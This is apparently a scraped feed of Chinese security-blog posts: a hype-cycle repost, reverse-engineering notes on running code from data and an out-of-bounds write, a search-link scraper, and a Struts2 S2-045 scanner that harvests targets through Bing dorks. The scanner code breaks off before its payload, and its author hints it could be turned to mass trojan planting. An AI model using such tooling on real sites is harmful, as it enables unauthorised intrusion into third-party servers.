href=\"https://gist.githubusercontent.com/iam1980/62ee37e38c7f76ca5d3889379e1d81fd/raw/aed9a3ef42bc6e6592913c5df8906ca6c57c9c66/getpro.py\"\u003e代码地址\u003c/a\u003e\u003c/p\u003e","title":"iis6-0 cve-2017-7269 批量验证脚本"},{"content":"推荐一个十分好看的开源博客系统，直接百度“里程密”地址www.lcm.wang\n附图\n主页\n后台\n浓浓的科技简约风，适合做技术的你\n","permalink":"https://www.hacktech.cn/post/2017/03/a-beautiful-open-source-blog-lcm/","summary":"\u003cp\u003e推荐一个十分好看的开源博客系统，直接百度“里程密”地址\u003ca href=\"http://www.lcm.wang/\"\u003ewww.lcm.wang\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e附图\u003c/p\u003e\n\u003cp\u003e主页\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"snipaste_20170312_202041.png\" loading=\"lazy\" src=\"https://ooo.0o0.ooo/2017/03/12/58c53df6b41cf.png\"\u003e\u003c/p\u003e\n\u003cp\u003e后台\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"snipaste_20170312_201924.png\" loading=\"lazy\" src=\"https://ooo.0o0.ooo/2017/03/12/58c53e0b65eaa.png\"\u003e\u003c/p\u003e\n\u003cp\u003e浓浓的科技简约风，适合做技术的你\u003c/p\u003e","title":"推荐一个十分好看的开源博客系统"},{"content":"全球最大的 IT 咨询公司高德纳（Gartner），有一个\u0026quot;技术热门度曲线\u0026ldquo;模型（Gartner Hype Cycle）。\n该模型认为，一门技术的发展要经历五个阶段。\n启动期（Innovation Trigger） 该技术刚刚诞生，还只是一个概念，不具有可用性，无法评估商业潜力。媒体有所报道，引起了外界的兴趣。\n泡沫期（Peak of Inflated Expectations） 该技术逐步成型，出现了个别成功的案例，一些激进的公司开始跟进。媒体开始大肆报导，伴有各种非理性的渲染，产品的知名度达到高峰。\n低谷期（Trough of Disillusionment） 该技术的局限和缺点逐步暴露，对它的兴趣开始减弱。基于它的产品，大部分被市场淘汰或者失败，只有那些找到早期用户的公司艰难地活了下来。媒体对它的报道逐步冷却，前景不明。\n爬升期（Slope of Enlightenment） 该技术的优缺点越来越明显，细节逐渐清晰，越来越多的人开始理解它。基于它的第二代和第三代产品出现，更多的企业开始尝试，可复制的成功使用模式出现。媒体重新认识它，业界这一次给予了高度的理性的关注。\n高原期（Plateau of Productivity） 经过不断发展，该技术慢慢成为了主流。技术标准得到了清晰定义，使用起来越发方便好用，市场占有率越来越高，进入稳定应用阶段。配合它的工具和最佳实践，经过数代的演进，也变得非常成熟了。业界对它有了公认的一致的评价。\n该模型的细节可以查看维基百科的大图。\n高德纳公司每年都会公布，当年的热门技术图。下面就是去年七月的图。\n上图中，4D打印处于\u0026quot;启动期\u0026rdquo;，区块链处于\u0026quot;泡沫期\u0026quot;，增强现实处于\u0026quot;低谷期\u0026quot;，虚拟现实处于爬升期。\n本周，有人进行数据分析后，建立了一个名叫 State.of.Dev 的网站，提供各种技术的热门程度图。\n下图是编程语言。\n上图中，Rust 语言处于启动期，Go 语言处于泡沫期，Ruby 语言处于低谷期，Object-C 处于爬升期，PHP 和 Java 处于高原期。\n下图是 Web 技术。\n上图中，WebAssembly 处于启动期，WebRTC 处于低谷期，HTTPS 处于高原期。\n一门技术到底前景如何，很难预测，但是它的热门程度却是可以衡量的（比如在社交媒体提及次数的增长幅度）。风险投资跟热门程度高度正相关，越热门的技术越容易拿到投资。\n用户可以采用这张图，判断技术处在哪一个阶段，确定它的热门程度。简单的使用规则如下。\n\u0026ldquo;争取风险投资，要选择热门的技术；解决实际问题， 要选择可靠的技术。\u0026rdquo;\n简单说，处于启动期的技术，风险很大，不确定性极高，但是一旦成功，回报可能也很高，适合创业公司；处于高原期的技术，非常可靠，风险低，有成熟的解决方案和配套工具，适合大公司和企业的内部应用。\n反过来说，如果一门技术处于高原期了，就代表它非常成熟了，人们对它能干什么和不能干什么，都已经很了解了，也没有新的期待了，技术本身的潜力已经不大了，所以用它拿不到投资，只能用来干活。\n（完）\n转载自阮一峰的网络日志\n","permalink":"https://www.hacktech.cn/post/2017/03/technology-s-popularity-curve/","summary":"\u003cp\u003e全球最大的 IT 咨询公司\u003ca href=\"http://baike.baidu.com/item/Gartner\"\u003e高德纳\u003c/a\u003e（Gartner），有一个\u0026quot;\u003ca href=\"http://www.gartner.com/technology/research/methodologies/hype-cycle.jsp\"\u003e技术热门度曲线\u003c/a\u003e\u0026ldquo;模型（Gartner Hype Cycle）。\u003c/p\u003e\n\u003cp\u003e该模型认为，一门技术的发展要经历五个阶段。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"bg2017030301.png\" loading=\"lazy\" src=\"https://ooo.0o0.ooo/2017/03/12/58c4de8267e76.png\"\u003e\u003c/p\u003e","title":"技术的热门度曲线"},{"content":"以下的ide为CodeBlocks，编译器采用的GCC，系统为win10 64bit,在不同编译器和环境下汇编代码可能不同\n现象 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; int getmin(int a, int b) { if(a\u0026gt;b) return b; else return a; } typedef int (*pfunction)(int, int); int main() { int a=456789,b=123789,c=0; pfunction pGetmin = (pfunction)getmin; c = pGetmin(a, b); printf(\u0026#34;%d\u0026#34;,c); return 0; } 上面这段代码是比大小输出小的，typedef int (*pfunction)(int, int);定义了一个函数指针，但是下面这段代码和上面的功能是完全一样的\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; typedef int (*pfunction)(int, int); int main() { int a=456789,b=123789,c=0; unsigned char loc[] = { 0x55, 0x89, 0xE5, 0x8B, 0x45, 0x08, 0x3B, 0x45, 0x0C, 0x7E, 0x05, 0x8B, 0x45, 0x0C, 0xEB, 0x03, 0x8B, 0x45, 0x08, 0x5D, 0xC3 }; pfunction getmin = (pfunction)\u0026amp;loc; c = getmin(a, b); printf(\u0026#34;%d\u0026#34;,c); return 0; } 原因分析 当c = pGetmin(a, b);调用pGetmin的时候，在汇编中是先call跳到一个地址然后从那个地址再jmp到函数入口地址然后开始执行函数 getmin函数整体汇编为\n1 2 3 4 5 6 7 8 9 10 push ebp mov ebp,esp mov eax,DWORD PTR [ebp+0x8] cmp eax,DWORD PTR [ebp+0xc] jle \u0026lt;getmin+16\u0026gt; mov eax,DWORD PTR [ebp+0xc] jmp \u0026lt;getmin+19\u0026gt; mov eax,DWORD PTR [ebp+0x8] pop ebp ret 通过一些调试程序（发现CodeBlocks带的汇编调试没有vc6好用，看不到硬编码）可以得出这段汇编代码在硬编码中的值为\n1 0x55, 0x89, 0xE5, 0x8B, 0x45, 0x08, 0x3B, 0x45, 0x0C, 0x7E, 0x05, 0x8B, 0x45, 0x0C, 0xEB, 0x03, 0x8B, 0x45, 0x08, 0x5D, 0xC3 这段数据我们在第二个代码中把它存入了一个char类型的数组，它虽然在数据区，但是它还是可以看作可运行的一段函数代码，我们依旧定义一个函数指针指向这个char类型数组的入口地址，达到了和第一种相同的效果 在编程中，我们是把代码和数据分得很开的，但是在逆向和汇编中，这个区别就不明显了，在计算机中都是以数据形式存在的，你可以说它是一串数据，也可以说它是代码\n转载请注明出处\n","permalink":"https://www.hacktech.cn/post/2017/03/reverse-engineering-study-note-2-is-this-code-or-data/","summary":"\u003cp\u003e\u003cstrong\u003e以下的ide为CodeBlocks，编译器采用的GCC，系统为win10 64bit,在不同编译器和环境下汇编代码可能不同\u003c/strong\u003e\u003c/p\u003e","title":"逆向学习笔记（2）-这是代码还是数据"},{"content":"对于下面这段c语言代码会一直不停地循环，为什么呢？\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include\u0026lt;stdio.h\u0026gt; void HelloWorld() { int i = 0; int a[] = {1,2,3,4,5,6,7,8,9,10}; for(i=0; i\u0026lt;=10; i++) { a[i] = 0; printf(\u0026#34;Hello World!\\n\u0026#34;); } } int main(int argc, char* argv[]) { HelloWorld(); getchar(); return 0; } 问题 当你运行上面这串代码的时候，因为c语言并不会对数组越界进行检查，所以是不会报错可以直接运行的，那么是什么原因导致了下面这张图的结果呢？\n分析 我们可以调试跟进看看，在HelloWorld函数上加一个断点跟进去看看\n这个函数主要的汇编代码如下\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 8: int i = 0; 00401038 mov dword ptr [ebp-4],0 9: int a[] = {1,2,3,4,5,6,7,8,9,10}; 0040103F mov dword ptr [ebp-2Ch],1 00401046 mov dword ptr [ebp-28h],2 0040104D mov dword ptr [ebp-24h],3 00401054 mov dword ptr [ebp-20h],4 0040105B mov dword ptr [ebp-1Ch],5 00401062 mov dword ptr [ebp-18h],6 00401069 mov dword ptr [ebp-14h],7 00401070 mov dword ptr [ebp-10h],8 00401077 mov dword ptr [ebp-0Ch],9 0040107E mov dword ptr [ebp-8],0Ah 10: for(i=0; i\u0026lt;=10; i++) 00401085 mov dword ptr [ebp-4],0 0040108C jmp HelloWorld+77h (00401097) 0040108E mov eax,dword ptr [ebp-4] 00401091 add eax,1 00401094 mov dword ptr [ebp-4],eax 00401097 cmp dword ptr [ebp-4],0Ah 0040109B jg HelloWorld+97h (004010b7) 11: { 12: a[i] = 0; 0040109D mov ecx,dword ptr [ebp-4] 004010A0 mov dword ptr [ebp+ecx*4-2Ch],0 13: printf(\u0026#34;Hello World!\\n\u0026#34;); 004010A8 push offset string \u0026#34;Hello World!\\n\u0026#34; (0042301c) 004010AD call printf (004011a0) 004010B2 add esp,4 14: } 004010B5 jmp HelloWorld+6Eh (0040108e) 15: } 从int i = 0;开始看直到for(i=0; i\u0026lt;=10; i++)的堆栈图是\n第一次进入循环开始先把0放到了[ebp-4]，然后跳到了00401097 cmp dword ptr [ebp-4],0Ah以及下面的jg，这里的意思是如果ebp-4中存放的值比0A大那么就执行jg HelloWorld+97h (004010b7)跳到004010b7函数结束 第一次进入循环时，cmp之后（ebp-4中存放的值比0A小）执行0040109D处的语句，此时ECX中的值变成了[ebp-4]中的值也就是0，然后mov dword ptr [ebp+ecx*4-2Ch],0将0放到ebp+ecx*4-2Ch处也就是EBP-2C处，下面的两条语句不用管是执行输出的，然后到了add esp,4将栈顶的值加4，这里我们无需关注栈顶，然后jmp HelloWorld+6Eh (0040108e)跳回到0040108e继续执行\n跳到0040108E mov eax,dword ptr [ebp-4]开始执行，紧接着这三条语句的作用是把EBP-4中的值加了1，也就是EBP-4中的值现在为1\n1 2 3 mov eax,dword ptr [ebp-4] add eax,1 mov dword ptr [ebp-4],eax cmp比较之后再次执行循环体，循环体完成后再次跳到0040108e，此时EBP-28的值变为了0，栈顶esp再次增加了4（这个例子中栈顶是不用关注的）\n紧接着下次执行后\n直到这个数组长度为10的数组执行到第十次\n此时再次跳转到0040108e，然后EBP-4中的值再次增加了1，现在也就是EBP-4中的值变为了0A，cmp比较之后EBP-4中的值依旧不比0A大，接着执行mov ecx,dword ptr [ebp-4]，此时ECX的值变成了0A，接着执行mov dword ptr [ebp+ecx*4-2Ch],0也就是mov dword ptr [ebp-4],0\n然后呢，你发现了什么？？？就是他喵的EBP-4中的值变成了0\n变成0代表着什么？？？EBP-4中的值是我们拿来干嘛的？是用来和0A进行cmp然后决定是否结束函数的，可是我们辛辛苦苦循环了10次，第11次全泡汤了，唯一的变化就是数组都成了0，栈顶的值变化了不少，然后再次cmp的时候，0和0A比，决定了你还是要循环，不管多少次，最后都会把你用来计数的地址EBP-4中的值清零\n这也就是为什么上面这段c语言代码会一直不停地循环的原因\n转载请注明出处\n","permalink":"https://www.hacktech.cn/post/2017/03/reverse-engineering-study-note-1-why-does-code-keep-running/","summary":"\u003cp\u003e对于下面这段c语言代码会一直不停地循环，为什么呢？\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 4\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 5\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 6\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 7\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 8\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 9\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e10\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e11\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e12\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e13\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e14\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e15\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e16\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e17\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e18\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e19\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003evoid\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eHelloWorld\u003c/span\u003e()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e i \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e a[] \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e {\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e6\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e7\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e9\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003e};\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e(i\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e; i\u003cspan style=\"color:#f92672\"\u003e\u0026lt;=\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003e; i\u003cspan style=\"color:#f92672\"\u003e++\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\ta[i] \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u003cspan style=\"color:#a6e22e\"\u003eprintf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Hello World!\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003emain\u003c/span\u003e(\u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e argc, \u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e argv[])\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#a6e22e\"\u003eHelloWorld\u003c/span\u003e();\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#a6e22e\"\u003egetchar\u003c/span\u003e();\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e","title":"逆向学习笔记（1）-为什么代码不停地循环运行"},{"content":"还是个比较简单的，不像百度有加密算法\n分析 1 http://www.so.com/link?url=http%3A%2F%2Fedu.sd.chinamobile.com%2Findex%2Fnews.do%3Faction%3DnoticeDetail%26id%3D22452\u0026amp;q=inurl%3Anews.do\u0026amp;ts=1488978912\u0026amp;t=89c5361a44fe3f52931d25c6de262bb\u0026amp;src=haosou 网址是上面这个样子，没加密直接取就好了，去掉头http://www.so.com/link?url=和尾\u0026amp;q=一直到末尾的部分，剩下的就可以吃了\n那么规则我们就可以写出来了\n1 a[\u0026#39;href\u0026#39;][a[\u0026#39;href\u0026#39;].index(\u0026#39;?url=\u0026#39;):a[\u0026#39;href\u0026#39;].index(\u0026#39;\u0026amp;q=\u0026#39;)][5:] a['href']是待处理网址,a['href'].index('?url='):a['href'].index('\u0026amp;q=')的部分为?url=http%3A%2F%2Fedu.sd.chinamobile.com%2Findex%2Fnews.do%3Faction%3DnoticeDetail%26id%3D22452\n最后还需要用unquote解码\n在python3中是urllib.parse.unquote 在python2中是urllib.unquote code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requests from bs4 import BeautifulSoup from urllib.parse import unquote headers = { \u0026#34;User-Agent\u0026#34; : \u0026#34;Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0\u0026#34; } #爬取360搜索引擎真实链接，第一个参数关键词str，第二个参数爬取页数int def parse360(keyword, pagenum): keywordsBaseURL = \u0026#39;https://www.so.com/s?q=\u0026#39; + str(keyword) + \u0026#39;\u0026amp;pn=\u0026#39; pnum = 1 while pnum \u0026lt;= int(pagenum): baseURL = keywordsBaseURL + str(pnum) try: request = requests.get(baseURL, headers=headers) soup = BeautifulSoup(request.text, \u0026#34;html.parser\u0026#34;) urls = [unquote(a[\u0026#39;href\u0026#39;][a[\u0026#39;href\u0026#39;].index(\u0026#39;?url=\u0026#39;):a[\u0026#39;href\u0026#39;].index(\u0026#39;\u0026amp;q=\u0026#39;)][5:]) for a in soup.select(\u0026#39;li.res-list \u0026gt; h3 \u0026gt; a\u0026#39;)] for url in urls: yield url except: yield None finally: pnum += 1 用法示例:\n1 2 3 4 5 6 7 8 9 def main(): for url in parse360(\u0026#34;keyword\u0026#34;,10): if url: print url else: continue if __name__ == \u0026#39;__main__\u0026#39;: main() 最后上一张测试图 转载请注明出处\n","permalink":"https://www.hacktech.cn/post/2017/03/360-search-get-url-with-python/","summary":"\u003cp\u003e还是个比较简单的，不像百度有加密算法\u003c/p\u003e\n\u003ch1 id=\"分析\"\u003e分析\u003c/h1\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ehttp://www.so.com/link?url=http%3A%2F%2Fedu.sd.chinamobile.com%2Findex%2Fnews.do%3Faction%3DnoticeDetail%26id%3D22452\u0026amp;q=inurl%3Anews.do\u0026amp;ts=1488978912\u0026amp;t=89c5361a44fe3f52931d25c6de262bb\u0026amp;src=haosou\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e网址是上面这个样子，没加密直接取就好了，去掉头\u003ccode\u003ehttp://www.so.com/link?url=\u003c/code\u003e和尾\u003ccode\u003e\u0026amp;q=\u003c/code\u003e一直到末尾的部分，剩下的就可以吃了\u003c/p\u003e","title":"360搜索引擎取真实地址-python代码"},{"content":"今天晚上看老铁们在群里就这个st2-045漏洞讨论得火热，个人不太喜欢日站，本来想直接写个批量挂马的东西，但是想想还是算了，如果你有兴趣，改改也很容易，反正不关我的事\n测试图 2017-3-8更新\n增加了对.do关键词的支持，并且支持任何关键词了，之前我只考虑到了.action关键词并且写死了规则，py版本已经更新，win版的exe未更新，需要的自行用pyinstaller打包为exe 之前采用whoami如果返回200状态码就判断存在漏洞，但是现在很多已经修复了，导致访问之后依旧会跳到正常页面返回200状态码，于是我改了一下判断，执行命令echo xxxx，如果返回结果中含有xxxx就证明漏洞存在 win版exe已经打包 重要：建议大家都使用py版本，经过群友测试，exe版本对中文关键词的支持不太好，会出现错误，如果使用上有问题可评论 exe版本会出现扫描过慢的情况，强烈建议py版本，鉴于有些朋友说不会配置python环境，我在下面给出了例子 有些朋友说自定义关键字字典出错，这里要提一句，你的字典txt的编码需要是utf-8，有些东西因为写的比较快没考虑太全，见谅 依赖包的安装\n1 2 3 4 5 //首先你需要安装一个python，在安装图中记得把有pip的选项和add python to path类似的选项勾选上，然后安装完成后执行python -version和pip //如果执行python -version提醒你有问题，试着重启一下cmd或者电脑，或者检查你的path环境变量下有没有python的安装的路径，没有的话就加上 //如果正常证明环境安装成功，如果执行pip提醒你没有pip，就把你python安装路径下的Scripts目录加到path环境变量，然后在命令行在执行以下代码 pip install requests pip install beautifulsoup4 对于此脚本所放置文件夹下必须有keyword.txt用来存放一行行的关键词 最开始是打算直接全部读取然后一个一个跑，不过感觉时间太漫长，测试时间太久 后来改成关键词就是自己输入，但是又感觉太麻烦 然后就变成了现在的读取关键词然后标号直接输入序号就可以 途中遇到了有的网址直接拒绝访问导致报错，还有的超时一直不返回报文，这些都解决了，个人测试的结果还可以，结果保存在一个txt下，至于你想再干些什么，不关我的事情了\n说明 例子：\n1 python s2-045.py 9 10 第一个参数是你的文件名，第二个是关键词所对应的序号，第三个是你需要爬行的页数 序号与关键词的对应，可以直接运行python s2-045.py就可以产看帮助 脚本采用的bing搜索引擎，文件我会打包在下面\n上代码,python2和3通用\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 # encoding:utf-8 import sys,requests from bs4 import BeautifulSoup keyword = {} with open(\u0026#34;keyword.txt\u0026#34;) as f: i = 0 for keywordLine in f: keyword[str(i)] = keywordLine.strip() i += 1 usage = \u0026#39;\u0026#39;\u0026#39; usage : python s2-045.py 0 10 first parameter is your filename second parameter is your keyword\u0026#39;s number which will be used by Bing Third parameter is the page number you want to crawl\\n\u0026#39;\u0026#39;\u0026#39; def poc(actionURL): data = \u0026#39;--447635f88b584ab6b8d9c17d04d79918\\ Content-Disposition: form-data; name=\u0026#34;image1\u0026#34;\\ Content-Type: text/plain; charset=utf-8\\ \\ x\\ --447635f88b584ab6b8d9c17d04d79918--\u0026#39; header = { \u0026#34;Content-Length\u0026#34; : \u0026#34;155\u0026#34;, \u0026#34;User-Agent\u0026#34; : \u0026#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36\u0026#34;, \u0026#34;Content-Type\u0026#34; : 